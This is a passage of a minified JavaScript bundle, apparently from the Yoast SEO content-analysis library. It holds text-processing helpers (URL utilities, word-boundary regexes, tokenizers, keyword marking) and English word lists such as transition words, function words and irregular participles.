s,n=(s=r(23324))&&s.__esModule?s:{default:s}},84159:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(/[-_]/gi," ")}},20917:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(8575))&&s.__esModule?s:{default:s};const i=/href=(["'])([^"']+)\1/i;function a(e){return e.split("#")[0]}function o(e){return e.split("?")[0]}function l(e){return e.replace(/\/$/,"")}function u(e){return l(e)+"/"}t.default={removeHash:a,removeQueryArgs:o,removeTrailingSlash:l,addTrailingSlash:u,getFromAnchorTag:function(e){const t=i.exec(e);return null===t?"":t[2]},areEqual:function(e,t){return e=o(a(e)),t=o(a(t)),u(e)===u(t)},getHostname:function(e){return(e=n.default.parse(e)).hostname},getProtocol:function(e){return n.default.parse(e).protocol},isInternalLink:function(e,t){const r=n.default.parse(e,!1,!0).hostname;return-1===e.indexOf("//")&&0===e.indexOf("/")||0!==e.indexOf("#")&&(!r||r===t||r===n.default.parse(t).hostname)},protocolIsHttpScheme:function(e){return!!e&&("http:"===e||"https:"===e)},isRelativeFragmentURL:function(e){return 0===e.indexOf("#")}}},28875:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=!1,r="",s=""){let n,i;return n="id"===s?'[ \\u00a0\\n\\r\\t.,()”“〝〞〟‟„"+;!¡?¿:/»«‹›'+r+"<>":'[ \\u00a0\\u2014\\u06d4\\u061f\\u060C\\u061B\\n\\r\\t.,()”“〝〞〟‟„"+\\-;!¡?¿:/»«‹›'+r+"<>",i=t?"($|((?="+n+"]))|((['‘’‛`])("+n+"])))":"($|("+n+"])|((['‘’‛`])("+n+"])))","(^|"+n+"'‘’‛`])"+e+i}},11475:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return 0!==(0,n.filter)((0,i.default)(t),(function(t){return e.includes(t.toLocaleLowerCase())})).length};var s,n=r(92819),i=(s=r(1105))&&s.__esModule?s:{default:s}},40231:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=t.length;return""!==e&&r>0&&(r+=e.length+3),r}},33870:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,n.default)(e).length};var s,n=(s=r(1105))&&s.__esModule?s:{default:s}},16431:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(8737),n=r(33888);t.default=e=>{const t=[];return e.forEach((e=>{const r=[],i=[];for(;s.punctuationRegexStart.test(e)&&!n.hashedHtmlEntitiesRegexStart.test(e);)r.push(e[0]),e=e.slice(1);for(;s.punctuationRegexEnd.test(e)&&!n.hashedHtmlEntitiesRegexEnd.test(e);)i.unshift(e[e.length-1]),e=e.slice(0,-1);let a=[...r,e,...i];a=a.filter((e=>""!==e)),t.push(...a)})),t}},49325:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=[]){return(0,s.filter)(e,(function(e){return!(0,s.includes)(t,e.trim().toLocaleLowerCase())}))};var s=r(92819)},89032:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if((0,s.isEmpty)(e))return!1;const r=t.index+t.match.length,n=[];return(0,s.forEach)(e,(function(e){n.push(e.index)})),(0,s.includes)(n,r)};var s=r(92819)},60914:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=(0,s.default)(e).map((e=>e.tokens));let r=(0,n.flatMap)(t).map((e=>e.text));return r=r.map((e=>(0,i.default)(e))),r.filter((e=>""!==e.trim()))};var s=a(r(54241)),n=r(92819),i=a(r(8737));function a(e){return e&&e.__esModule?e:{default:e}}},1105:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t="\\s",r=!0){if(""===(e=(0,n.default)(e)))return[];const s=new RegExp(t,"g");let o=e.split(s);return o=r?o.map(a.default):(0,i.flatMap)(o,(e=>e.replace(l," $1 ").split(" "))),(0,i.filter)(o,(function(e){return""!==e.trim()}))};var s,n=(s=r(86697))&&s.__esModule?s:{default:s},i=r(92819),a=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=o(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}(r(8737));function o(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(o=function(e){return e?r:t})(e)}const l=new RegExp(`([${a.punctuationRegexString}])`,"g")},9803:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r=!0){const n=r?1:0;if((0,s.isEmpty)(e))return!1;const i=[];return(0,s.forEach)(e,(function(e){const t=e.index+e.match.length+n;i.push(t)})),(0,s.includes)(i,t)};var s=r(92819)},61403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.filterIndices=t.default=void 0,t.getIndicesByWord=o,t.sortIndices=t.getIndicesByWordListSorted=t.getIndicesByWordList=void 0;var s,n=r(92819),i=(s=r(47793))&&s.__esModule?s:{default:s},a=r(30043);function o(e,t){let r=0;const s=e.length;let n;const i=[];for(;(n=t.indexOf(e,r))>-1;){const o=(0,a.characterInBoundary)(t[n-1])||0===n,l=(0,a.characterInBoundary)(t[n+s])||t.length===n+s;o&&l&&i.push({index:n,match:e}),r=n+s}return i}const l=function(e,t){let r=[];return(0,n.forEach)(e,(function(e){e=(0,i.default)(e),(0,a.isWordInSentence)(e,t)&&(r=r.concat(o(e,t)))})),r};t.getIndicesByWordList=l;const u=function(e){return e.sort((function(e,t){return e.index-t.index}))};t.sortIndices=u;const c=function(e){e=u(e);const t=[];for(let r=0;r<e.length;r++)!(0,n.isUndefined)(e[r+1])&&e[r+1].index<e[r].index+e[r].match.length?(t.push(e[r]),r++):t.push(e[r]);return t};t.filterIndices=c;const d=function(e,t){let r=[];return(0,n.forEach)(e,(function(e){if(e=(0,i.default)(e),!(0,a.isWordInSentence)(e,t))return r;r=r.concat(o(e,t))})),r=r.sort((function(e,t){return e.index<t.index?-1:e.index>t.index?1:0})),r};t.getIndicesByWordListSorted=d,t.default={getIndicesByWord:o,getIndicesByWordList:l,filterIndices:c,sortIndices:u,getIndicesByWordListSorted:d}},48024:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.deConstructAnchor=t.collectMarkingsInSentence=void 0,t.markWordsInASentence=g,t.markWordsInSentences=function(e,t,r,n){let i=[],a=[];return t.forEach((function(t){i=(0,s.default)(t,e,r,n).matches,i.length>0&&(a=a.concat(g(t,i,n)))})),a},t.reConstructAnchor=void 0;var s=c(r(7407)),n=c(r(18072)),i=c(r(5262)),a=c(r(41054)),o=r(92819),l=c(r(30341)),u=r(37361);function c(e){return e&&e.__esModule?e:{default:e}}const d=/(<a[\s]+[^>]+>)([^]*?)(<\/a>)/,h=function(e){const[,t,r]=e.match(d);return{openTag:t,content:r}};t.deConstructAnchor=h;const f=function(e,t){return`${e}${t}</a>`};t.reConstructAnchor=f;const p=function(e,t,r){const s=[];t.forEach((e=>{const t=e.match(u.SINGLE_QUOTES_REGEX);t?u.SINGLE_QUOTES_ARRAY.forEach((r=>{t.forEach((t=>{s.push((0,o.escapeRegExp)(e.replace(new RegExp(t,"g"),r)))}))})):s.push((0,o.escapeRegExp)(e))}));const a=r?(0,n.default)(s,!0):(0,n.default)(s),{anchors:c,markedAnchors:d}=function(e,t){const r=(0,l.default)(e),s=r.map((e=>{const{openTag:r,content:s}=h(e),n=s.replace(t,(e=>(0,i.default)(e)));return f(r,n)}));return{anchors:r,markedAnchors:s}}(e,a);let p=e.replace(a,(function(e){return(0,i.default)(e)}));if(c.length>0){const e=(0,l.default)(p);for(let t=0;t<e.length;t++)p=p.replace(e[t],d[t])}return p.replace(new RegExp("</yoastmark> <yoastmark class='yoast-text-mark'>","ig")," ")};function g(e,t,r){return[new a.default({original:e,marked:p(e,t,r)})]}t.collectMarkingsInSentence=p},30043:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isWordInSentence=t.default=t.characterInBoundary=void 0;var s=a(r(35468)),n=r(92819),i=a(r(28875));function a(e){return e&&e.__esModule?e:{default:e}}const o=(0,s.default)(),l=function(e){return(0,n.includes)(o,e)};t.characterInBoundary=l;const u=function(e,t){e=e.toLocaleLowerCase(),t=t.toLocaleLowerCase();const r=(0,i.default)((0,n.escapeRegExp)(e));let s=t.search(new RegExp(r,"ig"));if(-1===s)return!1;s>0&&(s+=1);const a=s+e.length,o=l(t[s-1])||0===s,u=l(t[a])||a===t.length;return o&&u};t.isWordInSentence=u,t.default={characterInBoundary:l,isWordInSentence:u}},7337:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(16431))&&s.__esModule?s:{default:s};const i=/([\s\t\u00A0\u2013\u2014\u002d[\]]|#nbsp;)/;t.default=e=>{if(!e)return[];const t=e.split(i).filter((e=>""!==e));return(0,n.default)(t)}},58677:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"AbstractResearcher",{enumerable:!0,get:function(){return c.default}}),Object.defineProperty(t,"areWordsInSentence",{enumerable:!0,get:function(){return O.default}}),Object.defineProperty(t,"baseStemmer",{enumerable:!0,get:function(){return l.default}}),Object.defineProperty(t,"buildFormRule",{enumerable:!0,get:function(){return f.default}}),Object.defineProperty(t,"collectMarkingsInSentence",{enumerable:!0,get:function(){return G.collectMarkingsInSentence}}),Object.defineProperty(t,"countMetaDescriptionLength",{enumerable:!0,get:function(){return R.default}}),Object.defineProperty(t,"createRegexFromArray",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"createRulesFromArrays",{enumerable:!0,get:function(){return p.default}}),Object.defineProperty(t,"createSingleRuleFromArray",{enumerable:!0,get:function(){return p.createSingleRuleFromArray}}),Object.defineProperty(t,"directPrecedenceException",{enumerable:!0,get:function(){return m.default}}),t.exceptionListHelpers=void 0,Object.defineProperty(t,"findMatchingEndingInArray",{enumerable:!0,get:function(){return E.default}}),Object.defineProperty(t,"findWordFormsInString",{enumerable:!0,get:function(){return B.findWordFormsInString}}),Object.defineProperty(t,"flattenSortLength",{enumerable:!0,get:function(){return d.default}}),Object.defineProperty(t,"getClauses",{enumerable:!0,get:function(){return S.default}}),Object.defineProperty(t,"getClausesSplitOnStopWords",{enumerable:!0,get:function(){return I.default}}),Object.defineProperty(t,"getFieldsToMark",{enumerable:!0,get:function(){return M.getFieldsToMark}}),Object.defineProperty(t,"getLanguage",{enumerable:!0,get:function(){return k.default}}),Object.defineProperty(t,"getSentences",{enumerable:!0,get:function(){return L.default}}),Object.defineProperty(t,"getWords",{enumerable:!0,get:function(){return u.default}}),t.helpers=void 0,Object.defineProperty(t,"imageInText",{enumerable:!0,get:function(){return a.default}}),Object.defineProperty(t,"indices",{enumerable:!0,get:function(){return h.default}}),Object.defineProperty(t,"markWordsInSentences",{enumerable:!0,get:function(){return G.markWordsInSentences}}),Object.defineProperty(t,"matchRegularParticiples",{enumerable:!0,get:function(){return g.default}}),Object.defineProperty(t,"mergeListItems",{enumerable:!0,get:function(){return U.mergeListItems}}),Object.defineProperty(t,"nonDirectPrecedenceException",{enumerable:!0,get:function(){return T.default}}),Object.defineProperty(t,"normalizeHTML",{enumerable:!0,get:function(){return P.default}}),Object.defineProperty(t,"normalizeSingle",{enumerable:!0,get:function(){return x.normalizeSingle}}),Object.defineProperty(t,"parseSynonyms",{enumerable:!0,get:function(){return F.default}}),Object.defineProperty(t,"precedenceException",{enumerable:!0,get:function(){return _.default}}),t.regexHelpers=void 0,Object.defineProperty(t,"removePunctuation",{enumerable:!0,get:function(){return w.default}}),Object.defineProperty(t,"replaceDiacritics",{enumerable:!0,get:function(){return s.default}}),t.researches=void 0,Object.defineProperty(t,"sanitizeString",{enumerable:!0,get:function(){return N.default}}),t.stemHelpers=void 0,Object.defineProperty(t,"stripBlockTagsAtStartEnd",{enumerable:!0,get:function(){return C.stripBlockTagsAtStartEnd}}),Object.defineProperty(t,"stripHTMLTags",{enumerable:!0,get:function(){return C.stripFullTags}}),Object.defineProperty(t,"stripSpaces",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"transliterate",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"unifyAllSpaces",{enumerable:!0,get:function(){return D.unifyAllSpaces}}),t.values=void 0;var s=q(r(74169)),n=q(r(36064)),i=q(r(18072)),a=q(r(61440)),o=q(r(47793)),l=q(r(42992)),u=q(r(1105)),c=q(r(67986)),d=q(r(44949)),h=q(r(61403)),f=q(r(19605)),p=W(r(53371)),g=q(r(2329)),m=q(r(23107)),_=q(r(14456)),T=q(r(95580)),E=q(r(30259)),A=W(r(64396));t.regexHelpers=A;var y=W(r(74252));t.exceptionListHelpers=y;var v=W(r(74694));t.stemHelpers=v;var b=W(r(62390));t.values=b;var O=q(r(11475)),S=q(r(43527)),I=q(r(80053)),C=r(62240),N=q(r(86697)),D=r(81831),w=q(r(8737)),P=q(r(88567)),R=q(r(40231)),k=q(r(67404)),L=q(r(9862)),M=r(29368),x=r(37361),F=q(r(73481)),U=r(10840),B=r(36478),G=r(48024),H=W(r(29866));t.helpers=H;var j=W(r(42299));function $(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return($=function(e){return e?r:t})(e)}function W(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=$(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}function q(e){return e&&e.__esModule?e:{default:e}}t.researches=j},24081:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={wordLength:10}},60645:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,s){const n=e.wordLength,i=s.frequencyList.list;return!((t=t.toLowerCase()).length<=n)&&(!i.includes(t)&&(!r.test(t)||(t=t.replace(r,""),!i.includes(t))))};const r=new RegExp("(en|e|s)$")},31946:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=["A.D.","Adm.","Adv.","B.C.","Br.","Brig.","Cmrd.","Col.","Cpl.","Cpt.","Dr.","Esq.","Fr.","Gen.","Gov.","Hon.","Jr.","Lieut.","Lt.","Maj.","Mr.","Mrs.","Ms.","Msgr.","Mx.","No.","Pfc.","Pr.","Prof.","Pvt.","Rep.","Reps.","Rev.","Rt. Hon.","Sen.","Sens.","Sgt.","Sps.","Sr.","St.","vs.","i.e.","e.g.","viz.","Mt."]},89456:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.nonNouns=t.filteredAtEnding=t.filteredAtBeginningAndEnding=t.filteredAnywhere=t.default=t.cannotDirectlyPrecedePassiveParticiple=t.cannotBeBetweenPassiveAuxiliaryAndParticiple=t.all=void 0;var s,n=r(64998),i=r(27350),a=(s=r(85336))&&s.__esModule?s:{default:s};const o=["the","an","a"],l=["one","two","three","four","five","six","seven","eight","nine","ten","eleven","twelve","thirteen","fourteen","fifteen","sixteen","seventeen","eighteen","nineteen","twenty","hundred","hundreds","thousand","thousands","million","millions","billion","billions"],u=["first","second","third","fourth","fifth","sixth","seventh","eighth","ninth","tenth","eleventh","twelfth","thirteenth","fourteenth","fifteenth","sixteenth","seventeenth","eighteenth","nineteenth","twentieth"],c=["i","you","he","she","it","we","they"],d=["me","him","us","them"],h=["this","that","these","those"],f=["my","your","his","her","its","their","our","mine","yours","hers","theirs","ours"],p=["all","some","many","lot","lots","ton","tons","bit","no","every","enough","little","much","more","most","plenty","several","few","fewer","kind","kinds"],g=["myself","yourself","himself","herself","itself","oneself","ourselves","yourselves","themselves"],m=["none","nobody","everyone","everybody","someone","somebody","anyone","anybody","nothing","everything","something","anything","each","other","whatever","whichever","whoever","whomever","whomsoever","whosoever","others","neither","both","either","any","such"],_=["one's","nobody's","everyone's","everybody's","someone's","somebody's","anyone's","anybody's","nothing's","everything's","something's","anything's","whoever's","others'","other's","another's","neither's","either's"],T=["which","what","whose"],E=["who","whom"],A=["where","how","why","whether","wherever","whyever","wheresoever","whensoever","howsoever","whysoever","whatsoever","whereso","whomso","whenso","howso","whyso","whoso","whatso"],y=["therefor","therein","hereby","hereto","wherein","therewith","herewith","wherewith","thereby"],v=["there","here","whither","thither","hither","whence","thence"],b=["always","once","twice","thrice"],O=["can","cannot","can't","could","couldn't","could've","dare","dares","dared","do","don't","does","doesn't","did","didn't","done","have","haven't","had","hadn't","has","hasn't","i've","you've","we've","they've","i'd","you'd","he'd","she'd","it'd","we'd","they'd","would","wouldn't","would've","may","might","must","need","needn't","needs","ought","shall","shalln't","shan't","should","shouldn't","will","won't","i'll","you'll","he'll","she'll","it'll","we'll","they'll","there's","there're","there'll","here's","here're","there'll"],S=["appear","appears","appeared","become","becomes","became","come","comes","came","keep","keeps","kept","remain","remains","remained","stay","stays","stayed","turn","turns","turned"],I=["doing","daring","having","appearing","becoming","coming","keeping","remaining","staying","saying","asking","stating","seeming","letting","making","setting","showing","putting","adding","going","using","trying","containing"],C=["in","from","with","under","throughout","atop","for","on","of","to","aboard","about","above","abreast","absent","across","adjacent","after","against","along","alongside","amid","mid","among","apropos","apud","around","as","astride","at","ontop","afore","tofore","behind","ahind","below","ablow","beneath","neath","beside","between","atween","beyond","ayond","by","chez","circa","spite","down","except","into","less","like","minus","near","nearer","nearest","anear","notwithstanding","off","onto","opposite","out","outen","over","past","per","pre","qua","sans","sithence","through","thru","truout","toward","underneath","up","upon","upside","versus","via","vis-à-vis","without","ago","apart","aside","aslant","away","withal","towards","amidst","amongst","midst","whilst"],N=["back","within","forward","backward","ahead"],D=["and","or","and/or","yet"],w=["sooner","just","only"],P=["if","even"],R=["say","says","said","claimed","ask","asks","asked","stated","explain","explains","explained","think","thinks","talks","talked","announces","announced","tells","told","discusses","discussed","suggests","suggested","understands","understood"],k=["again","definitely","eternally","expressively","instead","expressly","immediately","including","instantly","namely","naturally","next","notably","now","nowadays","ordinarily","positively","truly","ultimately","uniquely","usually","almost","maybe","probably","granted","initially","too","actually","already","e.g","i.e","often","regularly","simply","optionally","perhaps","sometimes","likely","never","ever","else","inasmuch","provided","currently","incidentally","elsewhere","particular","recently","relatively","f.i","clearly","apparently"],L=["highly","very","really","extremely","absolutely","completely","totally","utterly","quite","somewhat","seriously","fairly","fully","amazingly"],M=["seem","seems","seemed","let","let's","lets","make","makes","made","want","showed","shown","go","goes","went","gone","take","takes","took","taken","put","puts","use","used","try","tries","tried","mean","means","meant","called","based","add","adds","added","contain","contains","contained","consist","consists","consisted","ensure","ensures","ensured"],x=["new","newer","newest","old","older","oldest","previous","good","well","better","best","big","bigger","biggest","easy","easier","easiest","fast","faster","fastest","far","hard","harder","hardest","least","own","large","larger","largest","long","longer","longest","low","lower","lowest","high","higher","highest","regular","simple","simpler","simplest","small","smaller","smallest","tiny","tinier","tiniest","short","shorter","shortest","main","actual","nice","nicer","nicest","real","same","able","certain","usual","so-called","mainly","mostly","recent","anymore","complete","lately","possible","commonly","constantly","continually","directly","easily","nearly","slightly","somewhere","estimated","latest","different","similar","widely","bad","worse","worst","great","specific","available","average","awful","awesome","basic","beautiful","busy","current","entire","everywhere","important","major","multiple","normal","necessary","obvious","partly","special","last","early","earlier","earliest","young","younger","youngest"],F=["oh","wow","tut-tut","tsk-tsk","ugh","whew","phew","yeah","yea","shh","oops","ouch","aha","yikes"],U=["tbs","tbsp","spk","lb","qt","pk","bu","oz","pt","mod","doz","hr","f.g","ml","dl","cl","l","mg","g","kg","quart"],B=["seconds","minute","minutes","hour","hours","day","days","week","weeks","month","months","year","years","today","tomorrow","yesterday"],G=["thing","things","way","ways","matter","case","likelihood","ones","piece","pieces","stuff","times","part","parts","percent","instance","instances","aspect","aspects","item","items","idea","theme","person","instance","instances","detail","details","factor","factors","difference","differences"],H=["not","yes","sure","top","bottom","ok","okay","amen","aka","etc","etcetera","sorry","please"],j=["jr","sr"],$=t.filteredAtEnding=(0,a.default)([].concat(u,I,x)),W=t.filteredAtBeginningAndEnding=(0,a.default)([].concat(o,C,D,h,L,p,f)),q=t.filteredAnywhere=(0,a.default)([].concat(i.singleWords,b,c,d,g,F,l,n.all,O,S,R,M,m,w,P,T,E,A,v,H,N,y,U,B,G)),V=t.cannotDirectlyPrecedePassiveParticiple=(0,a.default)([].concat(o,C,h,f,u,I,p)),K=t.cannotBeBetweenPassiveAuxiliaryAndParticiple=(0,a.default)([].concat(O,S,R,M)),Y=(t.nonNouns=(0,a.default)([].concat(o,l,u,h,f,g,c,d,p,m,I,_,T,E,A,y,v,b,N,n.all,O,S,C,D,w,P,R,i.singleWords,k,L,M,F,x,U,H,j)),t.all=(0,a.default)([].concat(o,l,u,h,f,g,c,d,p,m,I,_,T,E,A,y,v,b,N,n.all,O,S,C,D,w,P,R,i.singleWords,k,L,M,F,x,U,G,H,B,["ms","mss","mrs","mr","dr","prof"],j)));t.default={filteredAtEnding:$,filteredAtBeginningAndEnding:W,filteredAnywhere:q,cannotDirectlyPrecedePassiveParticiple:V,cannotBeBetweenPassiveAuxiliaryAndParticiple:K,all:Y}},64998:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.other=t.negatedFormsOfToBe=t.formsOfToGet=t.formsOfToBe=t.default=t.all=void 0;const r=t.formsOfToBe=["am","is","are","was","were","been","be","she's","he's","it's","i'm","we're","they're","you're","that's","being"],s=t.negatedFormsOfToBe=["isn't","weren't","wasn't","aren't"],n=t.formsOfToGet=["get","gets","got","gotten","getting"],i=t.other=["having","what's"],a=t.all=r.concat(s,n,i);t.default=a},89597:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=["arisen","awoken","reawoken","babysat","backslid","backslidden","beat","beaten","become","begun","bent","unbent","bet","bid","outbid","rebid","underbid","overbid","bidden","bitten","blown","bought","overbought","bound","unbound","rebound","broadcast","rebroadcast","broken","brought","browbeat","browbeaten","built","prebuilt","rebuilt","overbuilt","burnt","burst","bust","cast","miscast","recast","caught","chosen","clung","come","overcome","cost","crept","cut","undercut","recut","daydreamt","dealt","misdealt","redealt","disproven","done","predone","outdone","misdone","redone","overdone","undone","drawn","outdrawn","redrawn","overdrawn","dreamt","driven","outdriven","drunk","outdrunk","overdrunk","dug","dwelt","eaten","overeaten","fallen","felt","fit","refit","retrofit","flown","outflown","flung","forbidden","forecast","foregone","foreseen","foretold","forgiven","forgotten","forsaken","fought","outfought","found","frostbitten","frozen","unfrozen","given","gone","undergone","gotten","ground","reground","grown","outgrown","regrown","had","handwritten","heard","reheard","misheard","overheard","held","hewn","hidden","unhidden","hit","hung","rehung","overhung","unhung","hurt","inlaid","input","interwound","interwoven","jerry-built","kept","knelt","knit","reknit","unknit","known","laid","mislaid","relaid","overlaid","lain","underlain","leant","leapt","outleapt","learnt","unlearnt","relearnt","mislearnt","left","lent","let","lip-read","lit","relit","lost","made","premade","remade","meant","met","mown","offset","paid","prepaid","repaid","overpaid","partaken","proofread","proven","put","quick-frozen","quit","read","misread","reread","retread","rewaken","rid","ridden","outridden","overridden","risen","roughcast","run","outrun","rerun","overrun","rung","said","sand-cast","sat","outsat","sawn","seen","overseen","sent","resent","set","preset","reset","misset","sewn","resewn","oversewn","unsewn","shaken","shat","shaven","shit","shone","outshone","shorn","shot","outshot","overshot","shown","shrunk","preshrunk","shut","sight-read","slain","slept","outslept","overslept","slid","slit","slung","unslung","slunk","smelt","outsmelt","snuck","sold","undersold","presold","outsold","resold","oversold","sought","sown","spat","spelt","misspelt","spent","underspent","outspent","misspent","overspent","spilt","overspilt","spit","split","spoilt","spoken","outspoken","misspoken","overspoken","spread","sprung","spun","unspun","stolen","stood","understood","misunderstood","strewn","stricken","stridden","striven","struck","strung","unstrung","stuck","unstuck","stung","stunk","sublet","sunburnt","sung","outsung","sunk","sweat","swept","swollen","sworn","outsworn","swum","outswum","swung","taken","undertaken","mistaken","retaken","overtaken","taught","mistaught","retaught","telecast","test-driven","test-flown","thought","outthought","rethought","overthought","thrown","outthrown","overthrown","thrust","told","retold","torn","retorn","trod","trodden","typecast","typeset","upheld","upset","waylaid","wept","wet","rewet","withdrawn","withheld","withstood","woken","won","rewon","worn","reworn","wound","rewound","overwound","unwound","woven","rewoven","unwoven","written","typewritten","underwritten","outwritten","miswritten","rewritten","overwritten","wrung"]},74016:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.regularParticiplesRegex=void 0,t.regularParticiplesRegex=/\w+ed($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi},27350:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.singleWords=t.multipleWords=t.default=t.allWords=void 0;const r=t.singleWords=["accordingly","additionally","afterward","afterwards","albeit","also","although","altogether","another","basically","because","before","besides","but","certainly","chiefly","comparatively","concurrently","consequently","contrarily","conversely","correspondingly","despite","doubtedly","during","e.g.","earlier","emphatically","equally","especially","eventually","evidently","explicitly","finally","firstly","following","formerly","forthwith","fourthly","further","furthermore","generally","hence","henceforth","however","i.e.","identically","indeed","initially","instead","last","lastly","later","lest","likewise","markedly","meanwhile","moreover","nevertheless","nonetheless","nor","notwithstanding","obviously","occasionally","otherwise","overall","particularly","presently","previously","rather","regardless","secondly","shortly","significantly","similarly","simultaneously","since","so","soon","specifically","still","straightaway","subsequently","surely","surprisingly","than","then","thereafter","therefore","thereupon","thirdly","though","thus","till","undeniably","undoubtedly","unless","unlike","unquestionably","until","when","whenever","whereas","while","whether","if","actually","anyway","anyways","anyhow","mostly","namely","including","suddenly"],s=t.multipleWords=["above all","after all","after that","all in all","all of a sudden","all things considered","analogous to","although this may be true","analogous to","another key point","as a matter of fact","as a result","as an illustration","as can be seen","as has been noted","as I have noted","as I have said","as I have shown","as long as","as much as","as opposed to","as shown above","as soon as","as well as","at any rate","at first","at last","at least","at length","at the present time","at the same time","at this instant","at this point","at this time","balanced against","being that","by all means","by and large","by comparison","by the same token","by the time","compared to","be that as it may","coupled with","different from","due to","equally important","even if","even more","even so","even though","first thing to remember","for example","for fear that","for instance","for one thing","for that reason","for the most part","for the purpose of","for the same reason","for this purpose","for this reason","from time to time","given that","given these points","important to realize","in a word","in addition","in another case","in any case","in any event","in brief","in case","in conclusion","in contrast","in detail","in due time","in effect","in either case","either way","in essence","in fact","in general","in light of","in like fashion","in like manner","in order that","in order to","in other words","in particular","in reality","in short","in similar fashion","in spite of","in sum","in summary","in that case","in the event that","in the final analysis","in the first place","in the fourth place","in the hope that","in the light of","in the long run","in the meantime","in the same fashion","in the same way","in the second place","in the third place","in this case","in this situation","in time","in truth","in view of","inasmuch as","most compelling evidence","most important","must be remembered","not only","not to mention","note that","now that","of course","on account of","on balance","on condition that","on one hand","on the condition that","on the contrary","on the negative side","on the other hand","on the positive side","on the whole","on this occasion","all at once","once in a while","only if","owing to","point often overlooked","prior to","provided that","seeing that","so as to","so far","so long as","so that","sooner or later","such as","summing up","take the case of","that is","that is to say","then again","this time","to be sure","to begin with","to clarify","to conclude","to demonstrate","to emphasize","to enumerate","to explain","to illustrate","to list","to point out","to put it another way","to put it differently","to repeat","to rephrase it","to say nothing of","to sum up","to summarize","to that end","to the end that","to this end","together with","under those circumstances","until now","up against","up to the present time","vis a vis","what's more","what is more","while it may be true","while this may be true","with attention to","with the result that","with this in mind","with this intention","with this purpose in mind","without a doubt","without delay","without doubt","without reservation","according to","no sooner","at most","at the most","from now on"],n=t.allWords=r.concat(s);t.default=n},92518:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={wordLength:7,doesUpperCaseDecreaseComplexity:!0}},46882:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r){const i=e.wordLength,a=r.frequencyList.list,o=e.doesUpperCaseDecreaseComplexity;if(t.length<=i)return!1;if(o&&t[0].toLowerCase()!==t[0])return!1;if(a.includes(t))return!1;if(r){const e=(0,s.default)(t,(0,n.default)(r.nouns.regexNoun.singularize));return!a.includes(e)}return!0};var s=i(r(19605)),n=i(r(53371));function i(e){return e&&e.__esModule?e:{default:e}}},45072:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={wordLength:7}},66676:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,i){const a=e.wordLength,o=i.frequencyList.list;return!(t.length<=a)&&(t[0].toLowerCase()===t[0]&&(!o.includes(t)&&(s.test(t)?(t=t.replace(n,""),!o.includes(t)):!r.test(t)||(t=t.replace(n,""),!o.includes(t)))))};const r=new RegExp("[aeiuoyáéíóúñ](s)$"),s=new RegExp("[bcdfghjklmnpqrstvwxzñ](es)$"),n=new RegExp("(s|es)$")},20712:(e,t)=>{"use 